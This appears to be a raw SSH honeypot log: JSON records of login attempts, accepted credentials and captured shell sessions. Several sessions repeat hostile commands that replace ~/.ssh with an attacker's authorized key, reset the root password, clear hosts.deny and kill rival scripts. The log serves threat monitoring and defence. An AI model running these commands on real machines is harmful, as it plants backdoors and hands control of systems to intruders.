cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$
cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$
echo "root:j051K3UwqccJ"|chpasswd|bash
[obs-node]:~$
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$
ls -lh $(which ls)
[obs-node]:~$
which ls
[obs-node]:~$
crontab -l
[obs-node]:~$
w
[obs-node]:~$
uname -m
[obs-node]:~$
cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$
top
[obs-node]:~$
uname
[obs-node]:~$
uname -a
[obs-node]:~$
whoami
[obs-node]:~$
lscpu | grep Model
[obs-node]:~$
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
{
"id": "a8ed9725f702",
"src_ip": "36.212.31.122",
"start_time": "2026-07-09T23:30:03.030951Z",
"end_time": "2026-07-09T23:30:49.009064Z",
"duration": "46.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "8c95e28f1643c38e5d64511b4d499e94",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "server@2021"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"cat /proc/cpuinfo | grep name | wc -l",
"echo \"root:j051K3UwqccJ\"|chpasswd|bash",
"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
"ls -lh $(which ls)",
"which ls",
"crontab -l",
"w",
"uname -m",
"cat /proc/cpuinfo | grep model | grep name | wc -l",
"top",
"uname",
"uname -a",
"whoami",
"lscpu | grep Model",
"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep name | wc -l",
"failed": false,
"error": null
},
{
"cmd": "echo \"root:j051K3UwqccJ\"|chpasswd|bash",
"failed": false,
"error": null
},
{
"cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
"failed": false,
"error": null
},
{
"cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
"failed": false,
"error": null
},
{
"cmd": "ls -lh $(which ls)",
"failed": false,
"error": null
},
{
"cmd": "which ls",
"failed": false,
"error": null
},
{
"cmd": "crontab -l",
"failed": false,
"error": null
},
{
"cmd": "w",
"failed": false,
"error": null
},
{
"cmd": "uname -m",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
"failed": false,
"error": null
},
{
"cmd": "top",
"failed": false,
"error": null
},
{
"cmd": "uname",
"failed": false,
"error": null
},
{
"cmd": "uname -a",
"failed": false,
"error": null
},
{
"cmd": "whoami",
"failed": false,
"error": null
},
{
"cmd": "lscpu | grep Model",
"failed": false,
"error": null
},
{
"cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 340,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: ubuntu / 3245gs5662d34
{
"id": "ef0c598ad5a4",
"src_ip": "172.190.216.105",
"start_time": "2026-07-09T23:29:44.176222Z",
"end_time": "2026-07-09T23:29:44.701840Z",
"duration": "0.5",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ubuntu",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "42c0b45b34e0",
"src_ip": "172.190.216.105",
"start_time": "2026-07-09T23:29:41.416837Z",
"end_time": "2026-07-09T23:29:43.080111Z",
"duration": "1.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: tempuser
{
"id": "1f47e687b10e",
"src_ip": "143.244.169.204",
"start_time": "2026-07-09T23:29:40.225668Z",
"end_time": "2026-07-09T23:29:41.650169Z",
"duration": "1.4",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "tempuser",
"pass": "tempuser@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
COMMANDS RUN
SUCCESSFUL LOGIN
SCORE: 80
Credential acceptance event recorded. Target authentication: ubuntu / 123@123a
Remote entity achieved interactive shell state. Command sequence (2 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
{
"id": "dc9add3fd240",
"src_ip": "172.190.216.105",
"start_time": "2026-07-09T23:29:33.219774Z",
"end_time": "2026-07-09T23:29:44.695690Z",
"duration": "11.5",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ubuntu",
"pass": "123@123a"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "57706851b1b7",
"src_ip": "8.134.157.132",
"start_time": "2026-07-09T23:29:29.307207Z",
"end_time": "2026-07-09T23:31:29.324607Z",
"duration": "120.0",
"version": "SSH-2.0-libssh_0.7.4",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 0
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "d896f7cfae34",
"src_ip": "8.134.157.132",
"start_time": "2026-07-09T23:29:23.670901Z",
"end_time": "2026-07-09T23:29:24.453497Z",
"duration": "0.8",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "7617d5879170",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:29:15.887170Z",
"end_time": "2026-07-09T23:31:15.907406Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "f9f293b68330",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:28:22.025735Z",
"end_time": "2026-07-09T23:30:22.030175Z",
"duration": "120.0",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: steam1
{
"id": "c9b83c845698",
"src_ip": "143.244.169.204",
"start_time": "2026-07-09T23:27:40.510014Z",
"end_time": "2026-07-09T23:27:41.976388Z",
"duration": "1.5",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "steam1",
"pass": "steam1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "db3a1364277f",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:27:27.840616Z",
"end_time": "2026-07-09T23:29:27.848632Z",
"duration": "120.0",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: msf
{
"id": "da7cf4bfd5be",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:26:32.933411Z",
"end_time": "2026-07-09T23:26:36.122019Z",
"duration": "3.2",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": "03a80b21afa810682a776a7d42e5e6fb",
"attempts": [
{
"user": "msf",
"pass": "msfpass"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bp
{
"id": "b32c9898bd97",
"src_ip": "143.244.169.204",
"start_time": "2026-07-09T23:25:37.960340Z",
"end_time": "2026-07-09T23:25:39.425873Z",
"duration": "1.5",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "bp",
"pass": "bp"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: vpn
{
"id": "d1161d71fe1b",
"src_ip": "143.244.169.204",
"start_time": "2026-07-09T23:23:33.472540Z",
"end_time": "2026-07-09T23:23:34.905534Z",
"duration": "1.4",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "vpn",
"pass": "vpn123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: es
{
"id": "c519a236d7ec",
"src_ip": "143.244.169.204",
"start_time": "2026-07-09T23:21:12.091645Z",
"end_time": "2026-07-09T23:21:13.522210Z",
"duration": "1.4",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "es",
"pass": "es#123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: guest / 3245gs5662d34
{
"id": "8eab57fad0d0",
"src_ip": "165.232.64.6",
"start_time": "2026-07-09T23:20:49.444029Z",
"end_time": "2026-07-09T23:20:50.403076Z",
"duration": "1.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "guest",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gs
{
"id": "1862d09f83f8",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:20:48.069384Z",
"end_time": "2026-07-09T23:20:51.220774Z",
"duration": "3.1",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": "03a80b21afa810682a776a7d42e5e6fb",
"attempts": [
{
"user": "gs",
"pass": "gs"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "16417bde9d53",
"src_ip": "165.232.64.6",
"start_time": "2026-07-09T23:20:47.340025Z",
"end_time": "2026-07-09T23:20:49.298598Z",
"duration": "2.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
COMMANDS RUN
SUCCESSFUL LOGIN
SCORE: 80
Credential acceptance event recorded. Target authentication: guest / 123456
Remote entity achieved interactive shell state. Command sequence (2 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
{
"id": "68a4dfcc9358",
"src_ip": "165.232.64.6",
"start_time": "2026-07-09T23:20:45.338407Z",
"end_time": "2026-07-09T23:20:50.399235Z",
"duration": "5.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "guest",
"pass": "123456"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "a3613d5000d7",
"src_ip": "83.246.133.16",
"start_time": "2026-07-09T23:20:11.575651Z",
"end_time": "2026-07-09T23:20:13.031879Z",
"duration": "1.5",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "bfced9379111",
"src_ip": "83.246.133.16",
"start_time": "2026-07-09T23:20:08.928139Z",
"end_time": "2026-07-09T23:20:11.343828Z",
"duration": "2.4",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
COMMANDS RUN
SUCCESSFUL LOGIN
SCORE: 80
Credential acceptance event recorded. Target authentication: root / Aa.123456
Remote entity achieved interactive shell state. Command sequence (2 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
{
"id": "84c0eedf1432",
"src_ip": "83.246.133.16",
"start_time": "2026-07-09T23:20:05.970552Z",
"end_time": "2026-07-09T23:20:13.027871Z",
"duration": "7.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Aa.123456"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: carlos
{
"id": "d328676f141a",
"src_ip": "172.190.216.105",
"start_time": "2026-07-09T23:19:14.934012Z",
"end_time": "2026-07-09T23:19:16.447842Z",
"duration": "1.5",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "carlos",
"pass": "Carlos123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "d45da4949460",
"src_ip": "101.126.17.72",
"start_time": "2026-07-09T23:18:43.542804Z",
"end_time": "2026-07-09T23:20:43.562942Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}